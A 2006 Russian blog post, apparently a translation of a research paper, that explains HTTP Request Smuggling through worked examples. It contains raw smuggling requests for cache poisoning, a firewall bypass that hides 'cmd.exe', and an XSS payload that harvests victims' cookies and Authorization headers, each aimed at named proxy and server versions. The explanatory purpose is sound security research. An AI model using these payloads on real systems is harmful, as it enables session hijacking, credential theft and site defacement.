HTTP Request smuggling (Часть 1)


Аннотация

Этот документ подводит итог нашей работы по недавно появившейся технике атаки - HTTP Request Smuggling. В нем мы опишем эту технику и объясним, в каких случаях она может применяться и какой может нанести вред.
Данный документ предполагает знание читателем основ HTTP. Тем, кто плохо знаком с HTTP, рекомендуем ознакомиться с RFC HTTP/1.1 [4]

Введение

В этом документе мы опишем новый вид веб-атаки - “HTTP Request Smuggling”. Данный вид атаки, а также все производные виды направлены на веб-устройства и становятся результатом того, что HTTP сервер или другое устройство начинают некорректно работать, пытаясь обработать специально сформированные HTTP запросы.

HTTP Request Smuggling (HRS) основывается на различиях в обработке данных одного или нескольких HTTP устройств (кеш сервер, прокси сервер, файрвол и т.п.), находящихся между пользователем и веб-сервером. Техника HRS позволяет провести различные виды атак - отравление кеша, похищение сессии, межсайтовый скриптинг, и, что наиболее важно, предоставляет возможность обойти защиту файрвола. Для этого посылаются несколько специально сконструированных HTTP запросов, которые заставляют два атакованных устройства видеть различные последовательности запросов, позволяя хакеру тайно отправить запрос одному из устройств, причем другое устройство ничего не будет об этом знать. При отравлении кеша скрытый запрос обманывает кеш сервер с помощью связывания URL запроса с содержанием другой страницы и кеширования этой страницы под запрошенным URL. В атаке на файрвол скрытый запрос может использоваться червем (как Nimda или Code Red) или привести к переполнению буфера на атакованном веб-сервере. И, наконец, так как HRS позволяет атакующему скрытно внедрить запрос в поток, то у атакующего появляется возможность управлять последовательностью запросов/ответов сервера, что может привести к использованию чужих прав и к другим противоправным действиям.

Что такое HTTP Request Smuggling?

HTTP Request Smuggling - это новая хакерская техника, направленная против HTTP устройств. Всякий раз, когда клиент отправляет HTTP запросы, которые проходят более чем через одно HTTP устройство, есть вероятность, что данные устройства уязвимы для HRS. Цель данного документа - продемонстрировать HRS в трех простых ситуациях: (1) кеширующий (прокси) веб-сервер, установленный между клиентом и веб-сервером (W/S); (2) файрвол (F/W), защищающий W/S; (3) прокси веб-сервер (не обязательно кеширующий), установленный между клиентом и W/S.
Техника HRS похожа на техники, которые были описаны в документах [1]-[3]. Несмотря на это, в отличие, например, от HTTP Splitting, HRS более эффективна, так как не требует наличие уязвимости в приложении, как, например, уязвимые asp страницы на W/S. Данная техника способна использовать небольшие различия в HTTP устройствах при работе с запросами. И, как результат, HRS может быть успешно применен в атаках к гораздо большему количеству сайтов, чем остальные виды атак.

Какой вред может причинить HRS?

Как мы покажем в случаях с кеш сервером и W/S, атакующий может выполнить атаку для отравления кеша сервера. Обычно атакующий может поменять содержание кеша так, что существующая (и кешируемая) страница А будет закеширована под URL B. Другими словами, клиент, запросивший страницу B, получит страницу A. Отсюда ясно, что такая замена может сделать веб-сайт абсолютно непригодным. Представьте, что произойдет, если главная страница сайта http://SITE/ всегда будет возвращать содержание страницы http://SITE/request_denied.html. На сайтах, которые разрешают клиентам заливать собственные HTML страницы и картинки, вред может быть гораздо больший, так как хакер может связать запрошенный URL с собственными закаченными страницами, тем самым полностью исказив сайт.
Во второй испытанной нами ситуации, в которой приложение F/W установлено перед W/S, HRS может обойти некоторые из методов защит файрвола (F/W). Это может произойти потому, что F/W не применяет некоторые из своих правил к скрытым запросам, так как он не видит их. Это позволяет атакующему скрывать злонамеренные запросы (как, например, переполнение буфера и т.п.), что напрямую компрометирует безопасность W/S. В отличие от атаки отравления кеша в первом примере, где подвергался атаке кеш сервер, в этом случае атакуется сам W/S.
В третьем случае, в которой клиент использует прокси сервер, установивший TCP соединение с W/S, возможна ситуация, что один клиент (атакующий) посылает запрос от имени другого клиента. Также есть возможность использовать уязвимость веб-приложения (используя уязвимости, используемые при межсайтовом скриптинге XSS[7,8]) для кражи данных клиента без необходимости фактического контакта с ним, делая ее более опасной атакой, чем межсайтовый скриптинг.

Пример №1. Отравление кеша. (Web Cache Poisoning) (HTTP Request Smuggling над кеш сервером)

Наш первый пример демонстрирует классическую HRS атаку. Допустим, что POST запрос содержит два заголовка “Content-Length” с противоречивыми значениями. Некоторые сервера (такие, как IIS и Apache) отвергнут такие запросы, но в других случаях конфликтующий заголовок просто игнорируется. А какой из них конфликтующий? К счастью для атакующего различные серверы выбирают разные ответы. Например, SunONE W/S 6.1 (SP1) использует первый заголовок “Content-Length”, а SunONE Proxy 3.6 (SP4) возьмет второй заголовок (причем оба приложения из одного семейства SunONE).
Пускай “SITE” будет DNS именем сервера SunONE, расположенным за SunONE Proxy. Допустим, что “/poison.html” является статичной (кешируемой) HTML страницей на W/S. Вот HRS атака, которая использует различие двух серверов:
1 POST http://SITE/foobar.html HTTP/1.1
2 Host: SITE
3 Connection: Keep-Alive
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 0
6 Content-Length: 44
7 [CRLF]

8 GET /poison.html HTTP/1.1
9 Host: SITE
10 Bla: [пробел после “Bla:”, но не CRLF]

11 GET http://SITE/page_to_poison.html HTTP/1.1
12 Host: SITE
13 Connection: Keep-Alive 14 [CRLF]
[каждая строка заканчивается CRLF (”\r\n”), кроме 10 строки]
Давайте проверим, что произойдет, когда этот запрос отправится к W/S через прокси сервер. Сперва прокси обработает строки 1-7 (синие) POST запроса и обнаружит два заголовка “Content-Length”. Как мы упомянули ранее, он проигнорирует первый заголовок и поэтому предположит, что тело запроса имеет длину 44 байта. Следовательно, он воспримет данные в 8-10 строках, как тело первого запроса (строки 8-10 как раз содержат 44 байта). Затем прокси обработает строки 11-14 (красные), которые он воспримет как второй запрос клиента. Теперь давайте посмотрим, как W/S обработает этот запрос, который ему перенаправит прокси. В отличие от прокси, W/S использует первый заголовок “Content-Length”, поэтому для него первый POST запрос не имеет тела, а вторым запросом является GET в 8 строке (запрос GET, который в 11 строке, обработается W/S как значение заголовка “Bla” в 10 строке). Подводя итог, посмотрим, как будут разбиты данные запросы двумя серверами:
  1-ый запрос 2-ой запрос
SunONE Proxy строки 1-10 строки 11-14
SunONE W/S строки 1-7 строки 8-14
Далее давайте посмотрим, какой ответ отправиться обратно клиенту. Запросы для W/S видны как “POST /footbar.html” и “GET /poison.html”, следовательно, он отсылает обратно два ответа с содержанием страницы footbar.html и poison.html соответственно. Прокси ассоциирует эти ответы с двумя запросами, которые, как он думает, были посланы клиентом - “POST /footbar.html” и “GET /page_to_poison.html. Так как ответ кешируется (мы предположили, что “poison.html” кешируемая страница), прокси закеширует содержание “poison.html” под URL “page_to_poison.html”, и в результате - кеш отравлен! Любой клиент, запросивший “page_to_poison.html” получит страницу “poison.html”.
Техническая заметка: Строки 1-10 и 11-14 должны быть посланы в отдельных пакетах, так как SunONE Proxy не разделит запросы, пришедшие в одном пакете.

Особые случаи: более опасные атаки

Гораздо больший вред может быть нанесен, если атакованный сайт использует одинаковый IP с сайтом, находящимся под контролем атакующего, что обычно бывает при виртуальном хостинге. В таком случае прокси сервер устанавливает общее TCP соединение с “сервером” (идентифицированным по IP), хотя трафик может предназначаться разным сайтам. Атакующему необходимо создать собственный сайт (с тем же IP адресом) и использовать заголовок “Host” (строка 9) для идентификации своего сайта (например: “Host:evil.site”).
Другая разновидность использования запроса к прокси - это, например, в строке 8 использовать “GET http://evil.site/page.html …”.
Оба метода позволяют атакующему получить полный контроль над всем кешируемым контентом.

Пример №2 - Обход файрвола/IPS/IDS (HTTP Request Smuggling через FW-1)

Файрвол FW-1 компании Check Point (тестируемая конфигурация FW-1/FP4-R55W beta) использует технологию Web Intelligence - набор техник безопасности уровня веб-приложения. Эти техники включают множество видов статичных проверок, которые выполняются для каждого запроса. Например, для обнаружения HTTP червей используется набор заданных регулярных выражений, которые обнаруживают известных червей, таких как “cmd.exe” в URL (Червь Nimda). Другой пример - это блокирование обхода директорий: FW-1 не позволит попасть в директорию, которая находится глубже, чем корневая директория в URL (например: “a/b/../p.html” пройдет, а “a/../../p.html” нет).
Web Intelligence включает около 13 различных техник безопасности, включая защиту от SQL-инъекций и XSS. Эти защиты реализованы в виде сигнатур, которые проверяются на соответствие с запросом или с частью тела HTTP запроса. Мы можем использовать HRS для обхода большинства из этих механизмов защиты. Сейчас мы покажем, как это можно сделать, когда FW-1 защищает сервер IIS/5.0.
У сервера IIS/5.0 существует баг при обработке POST запросов с телом большого размера. Странно, но IIS/5.0 без уведомления отсекает тело после 48К (49,152 байтов) всякий раз, когда значение заголовка запроса “Content-Type” не соответствует ожидаемому типу (например: для .asp ресурсов ожидается значение “application/x-www-form-urlencoded”). Таким образом, отсылая POST запрос на .asp страницу с длиной тела 48К+x, мы можем скрыть запрос в последних x байтах тела. FW-1 воспримет их как часть тела, тогда как IIS/5.0 воспримет их как новый запрос. Используя некоторые другие хитрости, мы можем обойти не только проверки URL, но и проверку тела запроса. Допустим “/page.asp” является asp страницей, которая расположена на сервере. Предположим, что мы отсылаем следующий пакет на сервер (через FW-1):
1 POST /page.asp HTTP/1.1
2 Host: chaim
3 Connection: Keep-Alive
4 Content-Length: 49223
5 [CRLF]
6 zzz…zzz [”z” x 49152]

7 POST /page.asp HTTP/1.0
8 Connection: Keep-Alive
9 Content-Length: 30
10 [CRLF]

11 POST /page.asp HTTP/1.0
12 Bla: [пробел после “Bla:”, но не CRLF]

13 POST /page.asp?cmd.exe HTTP/1.0
14 Connection: Keep-Alive
15 [CRLF]
[Каждая строка заканчивается символами CRLF (”\r\n”), кроме строки 12]
Сейчас мы проанализируем, как этот пакет обработается FW-1 и IIS/5.0. Так как у первого запроса заголовок “Content-Length” имеет значение 49,223 байта, то FW-1 распознает строку 6 (49,152 символов “z”) и строки 7-10 (как раз 71 байт) как тело запроса (49,152+71=49,223). Затем FW-1 обрабатывает второй запрос (строка 11). Так как в строке 12 после “Bla:” нет CRLF, то метод POST в строке 13 обрабатывается как значение заголовка “Bla:”, а запрос заканчивается на 15 строке. Так, если бы 13 строка содержала имя червя Nimda (”cmd.exe”), то его бы не заблокировали, так как рассматривали бы как часть значения заголовка, а не URL. Следовательно, мы скрыли “cmd.exe” от FW-1. Для завершения нам необходимо показать, что строка 13 обработается IIS/5.0 как строка запроса (строка “/page.asp?cmd.exe” обработается как URL). Давайте проследим, как IIS/5.0 обрабатывает этот пример, начиная с 1 строки: первый запрос - это POST запрос на .asp страницу, но он не содержит ожидаемого заголовка “Content-Type: application/x-www-form-urlencoded”. Таким образом, IIS/5.0 неправильно ограничивает тело запроса 49,152 байтами, и начинает обрабатывать второй запрос с 7 строки. У этого запроса значение заголовка “Content-Length” равно 30 байтам, что как раз равно длине 11-12 строк (эти строки содержались в теле второго запроса). Наконец, строки 13-15 обрабатываются как третий запрос, что означает, что мы скрытно передали “cmd.exe” на IIS/5.0 через FW-1!
Эта таблица показывает, как каждый сервер обрабатывает пакет:
  1 запрос 2 запрос 3 запрос
FW-1 R55W строки 1-10 строки 11-15 -
ISS/5.0 строки 1-6 строки 7-12 строки 13-15
Описанный выше трюк с 48К может быть использован для обхода других возможностей технологии Web Intelligence: не только обнаружение интернет-червей, но и обход директорий, максимальной длины URL, XSS, инъекция команд в URL.

Пример №3. Forward HRS и Backward HRS

Типичная HRS атака включает несколько запросов (по крайней мере 3), часть из которых видна (т.е. нормально обрабатывается) W/S, а другая часть видна файрволу/кешу, как мы показывали в приведенных примерах.
Вот как это выглядит в обычном случае (вместо HTTP метода GET, может использоваться POST или смесь двух или более других методов):
1 GET /req1 HTTP/1.0 <-- виден W/S и кешу
2 …

3 GET /req2 HTTP/1.0 <-- виден W/S
4 …

5 GET /req3 HTTP/1.0 <-- виден кешу
6 …
“…” означают различные заголовки и данные тел запросов. В приведенных выше двух примерах, W/S видел запросы req1 и req2, тогда как файрвол/кеш видел запросы req1 и req3. Запрос req2 был скрытно направлен W/S. Такой тип скрытой передачи называется forward smuggling. Читатель видимо уже догадался, что существует и backward smuggling. Разница в том, что в backward smuggling W/S видит запросы req1 и req3, а файрвол видит req1 и req2, как показано ниже:
1 GET /req1 HTTP/1.0 <-- виден W/S и кешу
2 …

3 GET /req2 HTTP/1.0 <-- виден кешу
4 …

5 GET /req3 HTTP/1.0 <-- виден W/S
6 …
В backward smuggling запрос req3 скрыто передается W/S. Этот тип HRS более сложен, так как возможен только в случаях, когда W/S отвечает на первый запрос до того, как получит полностью весь запрос. Обычно кеш сервер не отправляет запрос req2 на W/S до того, как не получит ответ на первый запрос. Так как W/S думает, что запрос req2 является частью первого запроса, обычно он не отвечает на него до тех пор, пока кеш сервер не пришлет req2. В результате возникает взаимная блокировка. Тем не менее, следующий пример демонстрирует, что не всегда происходит именно так. Он работает с кеш сервером DeleGate/8.9.2 и IIS/6.0, или Tomcat, или SunONE web-server/6.1.
На этот раз вся хитрость будет заключаться в отправке GET запроса с заголовком: “Content-Length: n”. DeleGate предполагает, что значение Content-Length всегда равно 0 (т.е. у запроса нет тела), но к счастью для нас, он все-таки передает первоначальное значение этого заголовка. Получив этот запрос, W/S считает, что запрос имеет тело длиной n байт, и он отправляет ответ на него, не получив полностью тело запроса, что создает возможность для проведения backward smuggling атаки. Вот как это выглядит (мы предположили, что DNS имя W/S будет SITE, а “/poison.html” - статическая кешируемая HTML страница, хранящаяся на W/S):
1 GET http://SITE/foobar.html HTTP/1.1
2 Connection: Keep-Alive
3 Host: SITE
4 Content-Type: application/x-www-form-urlencoded
5 Content-Length: 40
6 [CRLF]

7 GET http://SITE/page_to_poison.html HTTP/1.1
8 Bla: [пробел после “Bla:”, но не CRLF]

9 GET /poison.html HTTP/1.0
10 [CRLF]
[И снова каждая строка, кроме 8, заканчивается CRLF (”\r\n”)]
DeleGate игнорирует заголовок “Content-Length: 40″ в строке 5 и предполагает, что первый запрос не имеет тела. Следовательно, считает, что второй запрос относится к странице “page_to_poison.html” (строка 7) и заканчивается на 10 строке (метод GET в 9 строке рассматривается как значение заголовка “Bla:”).
W/S считает, что первый запрос имеет тело длиной 32 байта (напоминаем, что он возвращает ответ до получения тела запроса) - это как раз длина строк 7-8, после того как DeleGate удалил из URL префикс “http://SITE”. Поэтому W/S обрабатывает строки 1-8 как первый запрос, а строки 9-10 как второй. Ответом второго запроса является “poison.html” (строка 9), которая кешируется DeleGate как ответ на запрос страницы “page_to_poison.html”, и мы снова имеем отравленный кеш!
Техническое замечание: строки 1-6 и 7-10 необходимо отсылать в двух различных пакетах.

Пример №4: Похищение запроса (Request Hijacking) (HTTP request Smuggling через прокси сервер)

Техника HRS может быть изменена для достижения несколько другой цели: атакующий может использовать проблему безопасности на сайте (скрипт/страницу, уязвимые межсайтовому скриптингу) для проведения атаки похожей на XSS. Такая атака, как правило, более опасная, чем XSS, потому что:
  1. Она не требует, чтобы атакующий взаимодействовал с клиентом.
  2. Информация HTTP идентификации и HttpOnly cookie могут быть похищены напрямую (нет необходимости в поддержке TRACE сервером), тем самым, делая атаку “хуже” атаки cross-site tracing [5].
Существуют несколько различий в условиях проведения Request Hijacking и базовой техникой HRS, рассмотренной выше:
  1. Request Hijacking требует промежуточного устройства (прокси сервера) для установления соединения с сервером (в отличие от атаки отравления кеша, где для похищения запроса не обязательно, чтобы сервер был кеширующий).
  2. Похищение запроса требует наличие XSS уязвимости на сервере.
Предположим, нам известно, что /vuln_page.jsp уязвима XSS через параметр “data”. Рассмотрим следующую атаку:
1 POST /some_script.jsp HTTP/1.0
2 Connection: Keep-Alive
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 9
5 Content-Length: 204
6
7 this=that
POST /vuln_page.jsp HTTP/1.0
8 Content-Type: application/x-www-form-urlencoded
9 Content-Length: 95
10
11 param1=value1&data= <script>alert(”stealing%20your%20data:”%
2bdocument.cookie)</script> &foobar=
Все это будет обработано прокси сервером Microsoft ISA/2000 как единый POST запрос, тело которого имеет длину 204 байта (строки 1-11). Веб-сервер Tomcat рассмотрит его как один POST запрос, тело которого имеет длину 9 байт (строки 1-7, включая “this=that” в строке 7), и один незавершенный POST запрос, который определил длину тела в 95 байт, но предоставив только 94 (строки 7-11, исключая “this=that” в строке 7). Первый (полный) запрос требует отправки ответа (который отсылается ISA атакующему). Незавершенный запрос ставится сервером Tomcat в очередь.
Когда ISA получает запрос от клиента (например, GET), то этот запрос направляется серверу Tomcat, который использует его первый байт, как завершение запроса, поставленного в очередь. А затем обрабатывает остальные данные, как неверный HTTP запрос. После этого Tomcat отправляет ответ на завершенный запрос обратно ISA. Вот этот запрос:
POST /vuln_page.jsp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95 param1=value1&data= <script>alert(”stealing%20your%20
data:”%2bdocument.cookie)</script>&foobar=
G
Теперь клиент получит HTML страницу и злонамеренный Javascript код в ней:
<script>alert(”stealing your data:”+document.cookie)</script>
Этот пример показывает только, как злонамеренный Javascript код может быть выполнен браузером клиента. Тут не показано, как можно похитить данные HTTP идентификации и HttpOnly cookie. Для этого необходимо использовать дополнительные хитрости. Как можно увидеть, запрос атакующего непосредственно предшествует запросу жертвы. Так как запрос жертвы обычно содержит необходимые атакующему данные в HTTP заголовках, атакующий может аккуратно подсчитать значение Content-Length для помещения этих данных внутрь передаваемого обратно HTML потока. Теперь данные находятся в странице ответа и следующий Javascript код может извлечь их (заметьте, что используется событие window onload, чтобы выполнение кода произошло после того, как вся страница будет загружена). Скрипт будет выполняться итерационно для всех textNotes и соединять их в одну строку с некоторым префиксом:
window.onload=function(){
str="";
for(i=0;i<document.all.length;i++){
for(j=0;j>document.all(i).childNodes.length;j++){
if(document.all(i).childNodes(j).nodeType==3){
str+=document.all(i).childNodes(j).data;
}
}
}
}
alert(str.substr(0,300));
Таким образом, атакующему необходимо слегка изменить запрос на следующий:
POST /some_script.jsp HTTP/1.0
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Content-Length: 388
this=that
POST /vuln_page.jsp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 577
param1=value1&data= <script>window.onload=function(){str=”";for(i=0;i<document.all
.length;i%2B%2B){for(j=0;j<document.all(i).childNodes.length;j%2B%2B){if(document
.all(i).childNodes(j).nodeType==3){str%2B=document.all(i).childNodes(j).data;}}}a
lert(str.substr(0,300));}</script>
Заметьте, что в незавершенном запросе присутствуют только 277 байт (произвольное число, на выбор атакующего), поэтому он возьмет первые 300 байт запроса жертвы и вставит их обратно в HTML поток, который затем передастся клиенту. После того, как этот поток получит браузер клиента, злонамеренный код выполнится и отправит эти 300 байт HTML страницы атакующему. Эти первые 300 байт обычно содержат HTTP заголовки, такие как Cookie (содержащий cookie клиента) и Authorization (содержащий данные HTTP идентификации клиента) вместе с запрошенным клиентом URL (который может содержать важную информацию, например токен сессии и информацию, передаваемую жертвой).

Пример №5: Request Credential Hijacking (Похищение данных идентификации) (HTTP Request Smuggling через прокси сервер)

Другая интересная область применения - это возможность атакующему выполнить скрипт (/some_page.jsp) с правами клиента. Эта атака по эффекту схожа с Cross-Site Request Forgery [6], но она более опасна, так как атакующему не требуется взаимодействовать с клиентом (жертвой). Так выглядит атака:
POST /some_script.jsp HTTP/1.0
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length:
9 Content-Length: 142
this=that
GET /some_page.jsp?param1=value1¶m2=value2 HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Foobar:
Когда клиент отправляет запрос подобный этому:
GET /mypage.jsp HTTP/1.0
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy
сервер Tomcat соединит его с незавершенным запросом, находящимся в очереди, и в результате мы получим:
GET /some_page.jsp?param1=value1¶m2=value2 HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Foobar:
GET /mypage.jsp
HTTP/1.0
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy
Теперь запрос завершен. Он выполнит скрипт /some_page.jsp и вернет результат клиенту. Если этот скрипт предназначен для смены пароля или для перевода денег, тогда он может причинить серьезный ущерб клиенту.

Опубликовано в: Безопасность Февраль 12, 2006

1 комментарий »

  1. 0_0 еле осилила. Спасибо

    Комментарий от Елизавета — Апрель 8, 2009 @ 7:30 pm

Оставить комментарий

You must be logged in to post a comment.

© apachedev.ru, 2005-2011